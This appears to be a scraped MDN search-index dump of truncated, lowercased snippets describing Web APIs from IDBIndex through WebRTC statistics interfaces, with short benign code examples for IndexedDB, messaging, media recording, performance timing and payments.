: "variant also negotiates (experimental)", 507: "insufficient storage", 508: "loop detected", 509: "unassigned", 510: "not extended", 511: "network authentication required" }; var oreq, bisloading = false, bupdateurl = false; oloadingbox.id = "ajax-loader"; ocover.onclick = abortreq; oloadingimg.src = "data:image/gif;base64,r0lgodlheaaqapiaap///waaamlcwkjcqgaaagjiyokcgpkskih/c05fvfndqvbfmi4waweaaaah/hpdcmvhdgvkihdpdgggywphegxvywquaw5mbwah+qqjcgaaacwaaaaaeaaqaaadmwi63p4wyklre2mioggznadomgyjrbexwroumcg2lmdewnhqlvsyod2mbzkydadka+diaaah+qqjcgaaacwaaaaaeaaqaaadnai63p5ojcegg4qmu7dmikrxqlfuydezigbmrvsaqhwctxxf7weyb4ag1xjihkmzsiukkhiaifkecqoaaaasaaaaabaaeaaaazyiujijk8pbyjdmlfyvbovjha70gu7xsujhmktwhpakzlo9hm...
IDBIndex.getAll() - Web APIs
WebAPIIDBIndexgetAll
example var myindex = objectstore.index('index'); var getallrequest = myindex.getall(); getallrequest.onsuccess = function() { console.log(getallrequest.result); } specification specification status comment indexed database api draftthe definition of 'getall()' in that specification.
IDBLocaleAwareKeyRange - Web APIs
examples function displaydata() { var keyrangevalue = idblocaleawarekeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); var myindex = objectstore.index('lname'); myindex.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr')...
IDBMutableFile - Web APIs
note: this interface used to be called filehandle , but it was changed to this (bug 1006485.) as idbmutablefile objects are bound to a fake file system built on top of indexeddb, such an object is created using the idbdatabase.createmutablefile method.
IIRFilterNode.getFrequencyResponse() - Web APIs
sponseoutput = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>iir filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var feedforwardcoefficients = [0.1, 0.2, 0.3, 0.4, 0.5]; var feedbackcoefficients = [0.5, 0.4, 0.3, 0.2, 0.1]; var iirfilter = audioctx.createiirfilter(feedforwardcoefficients, feedbackcoefficients); ...
IdleDeadline - Web APIs
the idledeadline interface is used as the data type of the input parameter to idle callbacks established by calling window.requestidlecallback().
ImageCapture - Web APIs
imagecapture.takephoto() takes a single exposure using the video capture device sourcing a mediastreamtrack and returns a promise that resolves with a blob containing the data.
KeyboardEvent - Web APIs
note: this does not describe the locale of the data being entered.
LayoutShift - Web APIs
note that in this example data is only sent to the server when the user leaves the tab.
LocalMediaStream - Web APIs
the localmediastream interface was part of the media capture and streams api, representing a stream of data being generated locally (such as by getusermedia().
Locks.name - Web APIs
WebAPILockname
for example, if only one tab of a web application should be synchronizing network resources with an offline database, it could use a lock name such as "net_db_sync".
LockManager.request() - Web APIs
this shared/exclusive lock pattern is common in database transaction architecture, for example to allow multiple simultaneous readers (each requests a "shared" lock) but only one writer (a single "exclusive" lock).
LockedFile.abort() - Web APIs
WebAPILockedFileabort
note: when an ongoing operation is canceled, there is no rollback (it is not a database transaction), therefore the file can be corrupted if the canceled operation was performing some writing.
LockedFile.flush() - Web APIs
WebAPILockedFileflush
periodically, the data are written onto disk.
LockedFile.readAsArrayBuffer() - Web APIs
in case of success, the request's result is an arraybuffer representing the data that have been read.
LockedFile.truncate() - Web APIs
summary the truncate method is used to remove some data within the file.
MIDIMessageEvent - Web APIs
properties midiconnectionevent.data a uint8array containing the data bytes of a single midi message.
MediaDevices.getDisplayMedia() - Web APIs
notreadableerror the user selected a screen, window, tab, or other source of screen data, but a hardware or operating system level error or lockout occurred, preventing the sharing of the selected source.
MediaDevices - Web APIs
in essence, it lets you obtain access to any hardware source of media data.
MediaKeyMessageEvent - Web APIs
the mediakeymessageevent interface of the encryptedmediaextensions api contains the content and related data when the content decryption module generates a message for the session.
MediaKeySession.closed - Web APIs
closing a session means that licenses and keys associated with it are no longer valid for decrypting media data.
expiration - Web APIs
the mediakeysession.expiration read-only property returns the time after which the keys in the current session can no longer be used to decrypt media data, or nan if no such time exists.
generateRequest() - Web APIs
the mediakeysession.generaterequest() method returns a promise after generating a media request based on initialization data.
load() - Web APIs
the mediakeysession.load() method returns a promise that resolves to a boolean value after loading data for a specified session object.
remove() - Web APIs
the mediakeysession.remove() method returns a promise after removing any session data associated with the current object.
MediaKeys - Web APIs
WebAPIMediaKeys
the mediakeys interface of encryptedmediaextensions api represents a set of keys that an associated htmlmediaelement can use for decryption of media data during playback.
MediaPositionState.duration - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
MediaPositionState.playbackRate - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
MediaPositionState.position - Web APIs
for example, a browser might use this information along with the position property and the navigator.mediasession.playbackstate, as well as the session's metadata to provide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
MediaRecorder() - Web APIs
the recorded media data will be stored in an mp4 wrapper (so if you gather the chunks of media data and save them to disk, they will be in an mp4 file).
MediaRecorder.mimeType - Web APIs
this is the file format of the file that would result from writing all of the recorded data to disk.
MediaRecorder.onstart - Web APIs
at this point, the data starts being gathered into a blob.
MediaRecorder.pause() - Web APIs
stop gathering data into the current blob, but keep it available so that recording can be resumed later on.
MediaRecorder.resume() - Web APIs
continue gathering data into the current blob.
MediaRecorder.state - Web APIs
recording recording has been started and the ua is capturing data.
MediaSession.setActionHandler() - Web APIs
the action handler receives as input a single parameter: an object conforming to the mediasessionactiondetails dictionary, which provides both the action type (so the same function can handle multiple action types), as well as data needed in order to perform the action.
MediaSessionActionDetails - Web APIs
it specifies the type of action which needs to be performed as well as the data needed to perform the action.
MediaSource.endOfStream() - Web APIs
this can be used to indicate that a parsing error has occured while fetching media data; maybe the data is corrupt, or is encoded using a codec that the browser doesn't know how to decode.
MediaSource - Web APIs
the mediasource interface of the media source extensions api represents a source of media data for an htmlmediaelement object.
MediaStreamAudioSourceNode - Web APIs
ge = document.queryselector('input'); // getusermedia block - grab stream // put it into a mediastreamaudiosourcenode // also output the visuals into a video element if (navigator.mediadevices) { console.log('getusermedia supported.'); navigator.mediadevices.getusermedia ({audio: true, video: true}) .then(function(stream) { video.srcobject = stream; video.onloadedmetadata = function(e) { video.play(); video.muted = true; }; // create a mediastreamaudiosourcenode // feed the htmlmediaelement into it var audioctx = new audiocontext(); var source = audioctx.createmediastreamsource(stream); // create a biquadfilter var biquadfilter = audioctx.createbiquadfilter(); biquadfilter.ty...
MediaStreamAudioSourceOptions.mediaStream - Web APIs
the mediastreamaudiosourceoptions dictionary's mediastream property must specify the mediastream from which to retrieve audio data when instantiating a mediastreamaudiosourcenode using the mediastreamaudiosourcenode() constructor.
MediaStreamTrack.applyConstraints() - Web APIs
for example, you may prefer high-density video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network.
MediaStreamTrack.getConstraints() - Web APIs
for example, you may prefer high definition video but require that the frame rate be a little low to help keep the data rate low enough not overtax the network.
MediaStreamTrack: mute event - Web APIs
the mute event is sent to a mediastreamtrack when the track's source is temporarily unable to provide media data.
MediaStreamTrack.onended - Web APIs
this event occurs when the track will no longer provide data to the stream for any reason, including the end of the media input being reached, the user revoking needed permissions, the source device being removed, or the remote peer ending a connection.
MediaStreamTrack.onmute - Web APIs
such an event is sent when the track is temporarily not able to send data.
MediaStreamTrack.onoverconstrained - Web APIs
such an event is sent when the track is again able to send data.
MediaStreamTrack.onunmute - Web APIs
such an event is sent when the track is again able to send data.
MediaStreamTrack: unmute event - Web APIs
the unmute event is sent to a mediastreamtrack when the track's source is once again able to provide media data after a period of not being able to do so.
MediaStreamTrackAudioSourceNode() - Web APIs
options a mediastreamtrackaudiosourceoptions object defining the properties you want the mediastreamtrackaudiosourcenode to have: mediastreamtrack the mediastreamtrack from which to take audio data for this node's output.
MediaStreamTrackAudioSourceOptions - Web APIs
properties mediastreamtrack the mediastreamtrack from which to take audio data for this node's output.
MediaStream Image Capture API - Web APIs
in addition to capturing data, it also allows you to retrieve information about device capabilities such as image size, red-eye reduction and whether or not there is a flash and what they are currently set to.
MediaTrackConstraints.cursor - Web APIs
later code can detect this flag's value and if it's true, can manually look at some metadata that might be provided and insert a fake representation of the cursor at the correct position.
MediaTrackConstraints.latency - Web APIs
in audio processing, latency is the time between the start of processing (when sound occurs in the real world, or is generated by a hardware device) and the data being made available to the next step in the audio input or output process.
MediaTrackSettings.sampleRate - Web APIs
syntax var samplerate = mediatracksettings.samplerate; value an integer value indicating how many samples each second of audio data includes.
MediaTrackSettings.sampleSize - Web APIs
that means that a given sample actually uses (samplesize/8)*channelcount bytes of data.
MessageChannel() - Web APIs
nel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel.port1 - Web APIs
nel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that specification.
MessageChannel.port2 - Web APIs
nel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageEvent.lastEventId - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html living standardthe definition of 'messageevent: lasteventid' in that specification.
MessageEvent.origin - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.origin); }; specifications specification status comment html living standardthe definition of 'messageevent: origin' in that specification.
MessageEvent.ports - Web APIs
example onconnect = function(e) { var port = e.ports[0]; port.addeventlistener('message', function(e) { var workerresult = 'result: ' + (e.data[0] * e.data[1]); port.postmessage(workerresult); }); port.start(); // required when using addeventlistener.
MessageEvent.source - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.source); }; specifications specification status comment html living standardthe definition of ' messageevent: source' in that specification.
MessagePort.close() - Web APIs
WebAPIMessagePortclose
channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification.
MessagePort.onmessage - Web APIs
nel = new messagechannel(); var para = document.queryselector('p'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort.start() - Web APIs
WebAPIMessagePortstart
example in the following code block, you can see a handlemessage handler function, run when a message is sent back to this document using onmessage: channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } another option would be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications speci...
MessagePort - Web APIs
eryselector('iframe'); // wait for the iframe to load iframe.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the iframe iframe.contentwindow.postmessage('hello from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MimeType - Web APIs
WebAPIMimeType
mimetype.suffixes a string containing valid file extensions for the data displayed by the plugin, or an empty string if an extension is not valid for the particular module.
MouseEvent.buttons - Web APIs
html <p>click anywhere with one or more mouse buttons.</p> <pre id="log">buttons: </pre> javascript let log = document.createtextnode('?'); // let log = new text('?'); function logbuttons(e) { log.data = `${e.buttons} (${e.type})`; // log.nodevalue= `${e.buttons} (${e.type})`; } document.addeventlistener('mouseup', logbuttons); document.addeventlistener('mousedown', logbuttons); // document.addeventlistener('mousemove', logbuttons); document.queryselector('#log').appendchild(log) result specifications specification status comment document object model (dom) level...
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
see browser compatibility to learn which browsers have been updated to use the revised data type.
MutationEvent - Web APIs
mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified usage you can register a listener for mutation events using eventtarget.addeventlistener() as follows: element.addeventlistener("domnodeinserted", function (event) { // ...
NDEFMessage.records - Web APIs
syntax var recordlist = ndefmessage.records; value a list of ndefrecord object that represent data recorded in the message.
NDEFMessage - Web APIs
constructor ndefmessage.ndefmessage() returns a new ndefmessage containing specified data.
NDEFReader - Web APIs
the ndefreader interface of the web nfc api is an abstract interface used to read data from compatible nfc devices, e.g.
NDEFRecord.encoding - Web APIs
the encoding property ofthe ndefrecord interface is usvstring containing the name of the encoding used to encode ndef payload if it contains textual data.
NDEFWriter - Web APIs
the ndefwriter interface of the web nfc api is an abstract interface used to write data to compatible nfc devices, e.g.
Using Navigation Timing - Web APIs
it also offers the advantage of being able to provide timing information as perceived by the user rather than data that has no correlation to what the user experiences.
Navigator.productSub - Web APIs
example <script> function prodsub() { var dt = document.getelementbyid("d").childnodes[0]; dt.data = window.navigator.productsub; } </script> <button onclick="prodsub();">productsub</button> // returns: 20010725 notes on ie, this property returns undefined.
NetworkInformation.downlink - Web APIs
in the absence of recent bandwidth measurement data, the attribute value is determined by the properties of the underlying connection technology.
NetworkInformation.rtt - Web APIs
if no recent measurement data is available, the value is based on the properties of the underlying connection technology.
NetworkInformation - Web APIs
networkinformation.savedata read only returns true if the user has set a reduced data usage option on the user agent.
Node.childNodes - Web APIs
WebAPINodechildNodes
to get data from node objects, use their properties.
Node.isEqualNode() - Web APIs
WebAPINodeisEqualNode
the specific set of data points that must match varies depending on the types of the nodes.
Node.localName - Web APIs
WebAPINodelocalName
syntax name = element.localname name is the local name as a string (see notes below for details) example (must be served with xml content type, such as text/xml or application/xhtml+xml.) <html xmlns="http://www.w3.org/1999/xhtml" xmlns:svg="http://www.w3.org/2000/svg"> <head> <script type="application/javascript"><![cdata[ function test() { var text = document.getelementbyid('text'); var circle = document.getelementbyid('circle'); text.value = "<svg:circle> has:\n" + "localname = '" + circle.localname + "'\n" + "namespaceuri = '" + circle.namespaceuri + "'"; } ]]></script> </head> <body onload="test()"> <svg:svg version="1.1" width="100px" height="100px" ...
Node.nodeName - Web APIs
WebAPINodenodeName
values for the different types of nodes are: interface nodename value attr the value of attr.name cdatasection "#cdata-section" comment "#comment" document "#document" documentfragment "#document-fragment" documenttype the value of documenttype.name element the value of element.tagname entity the entity name entityreference the name of entity reference notation the notation name processinginstruction the value of processinginstruction.target text "#text" example given the following markup: <div...
Node.nodeType - Web APIs
WebAPINodenodeType
node.cdata_section_node 4 a cdatasection, such as <!cdata[[ … ]]>.
NodeFilter.acceptNode() - Web APIs
/^\s*$/.test(node.data) ) { return nodefilter.filter_accept; } } }, false ); // show the content of every non-empty text node that is a child of root var node; while ((node = iterator.nextnode())) { alert(node.data); } specifications specification status comment domthe definition of 'nodefilter.acceptnode()' in that specification.
NodeFilter - Web APIs
/^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the content of every non-empty text node that is a child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification status comment domthe definition of 'nodefilter' in that specification.
NodeIterator.whatToShow - Web APIs
nodefilter.show_cdata_section 8 shows cdatasection nodes.
NodeIterator - Web APIs
nodefilter.show_cdata_section 8 shows cdatasection nodes.
Notification - Web APIs
notification.data read only returns a structured clone of the notification’s data.
Using the Notifications API - Web APIs
it stores data locally using indexeddb and notifies users when tasks are due using system notifications.
OES_vertex_array_object - Web APIs
these objects keep pointers to vertex data and provide names for different sets of vertex data.
OffscreenCanvas.getContext() - Web APIs
this will force the use of a software (instead of hardware accelerated) 2d canvas and can save memory when calling getimagedata() frequently.
OscillatorNode.type - Web APIs
you never set type to custom manually; instead, use the setperiodicwave() method to provide the data representing the waveform.
ParentNode.querySelectorAll() - Web APIs
var container = document.queryselector("#test"); var matches = container.queryselectorall("div.highlighted > p"); this example uses an attribute selector to return a list of the <iframe> elements in the document that contain an attribute named data-src: var matches = document.queryselectorall("iframe[data-src]"); here, an attribute selector is used to return a list of the list items contained within a list whose id is userlist which have a data-active attribute whose value is 1: var container = document.queryselector("#userlist"); var matches = container.queryselectorall("li[data-active=1]"); user notes queryselectorall() behaves diffe...
PaymentAddress - Web APIs
the first of these three (supportedinstruments in the example below) contains a data property that has to conform to the structure defined by the basiccardrequest dictionary.
PaymentDetailsUpdate - Web APIs
when calling updatewith(), including error in the updated data causes the user agent to display the text as a general error message.
PaymentMethodChangeEvent - Web APIs
methoddetails read only secure context an object containing payment method-specific data useful when handling a payment method change.
PaymentRequest.onmerchantvalidation - Web APIs
examples an example merchant validation handler for the paymentrequest object request looks like this: request.onmerchantvalidation = ev => { ev.complete(async () => { const merchantserverurl = window.location.origin + '/validation?url=' + encodeuricomponent(ev.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(r => r.text()); }) }; const response = await request.show(); for more information, see merchant validation in payment processing concepts.
PaymentRequest: shippingaddresschange event - Web APIs
const paymentrequest = new paymentrequest(methoddata, details, options); paymentrequest.addeventlistener("shippingaddresschange", event => { let detailsupdate = checkaddress(paymentrequest.shippingaddress); event.updatewith(detailsupate); }, false); const checkaddress = theaddress => { let detailsupdate = {}; // check the address, return a paymentdetailsupdate object // with any changes or errors.
PaymentRequestEvent() - Web APIs
methoddata: an array of paymentmethoddata objects containing payment method identifers for the payment methods that the web site accepts and any associated payment method specific data.
PaymentRequestEvent - Web APIs
methoddataread only returns an array of paymentmethoddata objects containing payment method identifers for the payment methods that the web site accepts and any associated payment method specific data.
PaymentRequestUpdateEvent.updateWith() - Web APIs
when calling updatewith(), including error in the updated data causes the user agent to display the text as a general error message.
performance.mark() - Web APIs
WebAPIPerformancemark
the mark()'s stores its data internally as performanceentry.
performance.now() - Web APIs
WebAPIPerformancenow
syntax t = performance.now(); example const t0 = performance.now(); dosomething(); const t1 = performance.now(); console.log(`call to dosomething took ${t1 - t0} milliseconds.`); unlike other timing data available to javascript (for example date.now), the timestamps returned by performance.now() are not limited to one-millisecond resolution.
Performance - Web APIs
performance.clearresourcetimings() removes all performance entries with a entrytype of "resource" from the browser's performance data buffer.
PerformanceNavigationTiming.domComplete - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.domContentLoadedEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.domContentLoadedEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.domInteractive - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.loadEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log("dom complet...
PerformanceNavigationTiming.loadEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.redirectCount - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.type - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.unloadEventEnd - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceNavigationTiming.unloadEventStart - Web APIs
function print_nav_timing_data() { // use getentriesbytype() to just get the "navigation" events var perfentries = performance.getentriesbytype("navigation"); for (var i=0; i < perfentries.length; i++) { console.log("= navigation entry[" + i + "]"); var p = perfentries[i]; // dom properties console.log("dom content loaded = " + (p.domcontentloadedeventend - p.domcontentloadedeventstart)); console.log...
PerformanceResourceTiming.domainLookupEnd - Web APIs
if the user agent has the domain information in cache, domainlookupstart and domainlookupend represent the times when the user agent starts and ends the domain data retrieval from the cache.
Performance Timeline - Web APIs
performanceentry interface the performanceentry interface encapsulates a single performance entry — that is, a single data point or metric in the performance timeline.
Pointer events - Web APIs
function process_id(event) { // process this event based on the event's identifier } function process_mouse(event) { // process the mouse pointer event } function process_pen(event) { // process the pen pointer event } function process_touch(event) { // process the touch pointer event } function process_tilt(tiltx, tilty) { // tilt data handler } function process_pressure(pressure) { // pressure handler } function process_non_primary(event) { // non primary handler } function down_handler(ev) { // calculate the touch point's contact area var area = ev.width * ev.height; // compare cached id with this event's id and process accordingly if (id == ev.identifier) process_...
ProcessingInstruction - Web APIs
" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/characterdata" target="_top"><rect x="266" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="331" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">characterdata</text></a><polyline points="396,25 406,20 406,30 396,25" stroke="#d4dde4" fill="none"/><line x1="406" y1="25" x2="436"...
PublicKeyCredential - Web APIs
the publickeycredential interface provides information about a public key / private key pair, which is a credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.
PublicKeyCredentialCreationOptions.authenticatorSelection - Web APIs
the values may be: "required": user verification is required, the operation will fail if the response does not have the uv flag (as part of the authenticatordata property of authenticatorattestationresponse.attestationobject) "preferred": user verification is prefered, the operation will not fail if the response does not have the uv flag (as part of the authenticatordata property of authenticatorattestationresponse.attestationobject) "discouraged": user verification should not be employed as to minimize the user interaction during the process.
PublicKeyCredentialCreationOptions.challenge - Web APIs
this value (among other client data) will be signed by the authenticator, using its private key, and must be sent back for verification to the server as part of authenticatorattestationresponse.attestationobject.
PublicKeyCredentialRequestOptions.challenge - Web APIs
this value (among other client data) will be signed by the authenticator's private key and produce authenticatorassertionresponse.signature which should be sent back to the server as part of the response.
PublicKeyCredentialRequestOptions.userVerification - Web APIs
the values may be: "required": user verification is required, the operation will fail if the response does not have the uv flag (as part of authenticatorassertionresponse.authenticatordata) "preferred": user verification is prefered, the operation will not fail if the response does not have the uv flag (as part of authenticatorassertionresponse.authenticatordata) "discouraged": user verification should not be employed as to minimize the user interaction during the process.
PushManager - Web APIs
example this.onpush = function(event) { console.log(event.data); // from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
PushSubscription - Web APIs
methods pushsubscription.getkey() returns an arraybuffer which contains the client's public key, which can then be sent to a server and used in encrypting push message data.
RTCDtlsTransport.state - Web APIs
the state read-only property of the rtcdtlstransport interface provides information which describes a datagram transport layer security (dtls) transport state.
RTCErrorEvent - Web APIs
description there are other data types used for error events in webrtc, as needed for errors with special information sharing requirements.
RTCIceCandidate.sdpMid - Web APIs
syntax var sdpmid = rtcicecandidate.sdpmid; value a domstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate.
RTCIceCandidate.usernameFragment - Web APIs
idate(signalmsg.candidate); let receivers = pc.getreceivers(); receivers.foreach(receiver => { let parameters = receiver.transport.getparameters(); if (parameters.usernamefragment === candidate.usernamefragment) { return; } }); pc.addicecandidate(candidate) .catch(reporterror); } this walks through the list of the rtcrtpreceiver objects being used to receive ice data, and looks to see if the usernamefragment indicated in the candidate matches any of them.
RTCIceCandidateInit.sdpMid - Web APIs
value a domstring which uniquely identifies the source media component from which the candidate draws data, or null if no such association exists for the candidate.
RTCIceCandidateInit - Web APIs
this string is generated by webrtc at the beginning of the session, and at least 24 bits worth of the string contain random data.
RTCIceCandidatePair.local - Web APIs
in the first rtcrtpsender, we get the rtcdtlstransport over which the media data is being transmitted and finally, from that, the rtcicetransport.
RTCIceCandidatePair.remote - Web APIs
in the first rtcrtpsender, we get the rtcdtlstransport over which the media data is being transmitted and finally, from that, the rtcicetransport.
RTCIceCandidatePairStats.bytesReceived - Web APIs
only data bytes are counted; overhead such as padding, headers, and the like are not included in this count.
RTCIceCandidatePairStats.bytesSent - Web APIs
only data bytes are counted; overhead such as padding, headers, and the like are not included in this count.
RTCIceCandidatePairStats.circuitBreakerTriggerCount - Web APIs
a 5-tuple defining a tcp connection is made up of the following data: the source ip address.
RTCIceCandidatePairStats.currentRoundTripTime - Web APIs
the rtcicecandidatepairstats property currentroundtriptime is a floating-point value indicating the number of seconds it takes for data to be sent by this peer to the remote peer and back over the connection described by this pair of ice candidates.
RTCIceCandidatePairStats.transportId - Web APIs
syntax transportid = rtcicecandidatepairstats.transportid; value a domstring which uniquely identifies the rtcicetransport object from which the transport-related data was obtained for the statistics contained in this rtcicecandidatepairstats object.
RTCIceCandidateStats.relayProtocol - Web APIs
udp udp (user datagram protocol) is being used to communicate with the turn server.
RTCIceCandidateStats - Web APIs
protocol optional a string specifying the protocol (tcp or udp) used to transmit data on the port.
RTCIceTransport - Web APIs
the rtcicetransport interface provides access to information about the ice transport layer over which the data is being sent and received.
RTCInboundRtpStreamStats.bytesReceived - Web APIs
this value can be used to calculate an approximation of the average media data rate: avgdatarate = rtcinboundrtpstreamstats.bytesreceived / elapsedtime; this value gets reset to zero if the sender's ssrc identifier changes for any reason.
RTCInboundRtpStreamStats.sliCount - Web APIs
in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, requiring resends or dropping frames.
RTCInboundRtpStreamStats - Web APIs
plicount an integer specifying the number of times the receiver has notified the sender that some amount of encoded video data for one or more frames has been lost, using picture loss indication (pli) packets.
RTCOfferAnswerOptions.voiceActivityDetection - Web APIs
the default value, true, indicates that the user agent should monitor the audio coming from the microphone or other audio source and automatically cease transmitting data or mute when the user isn't speaking into the microphone, a value of false indicates that the audio should continue to be transmitted regardless of whether or not speech is detected.
RTCOutboundRtpStreamStats.sliCount - Web APIs
an sli packet is used by a decoder to let the encoder (the sender) know that it's detected corruption of one or more consecutive macroblocks, in scan order, in the received media.in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, causing the receiver to request retransmits or to drop frames entirely.
RTCOutboundRtpStreamStats - Web APIs
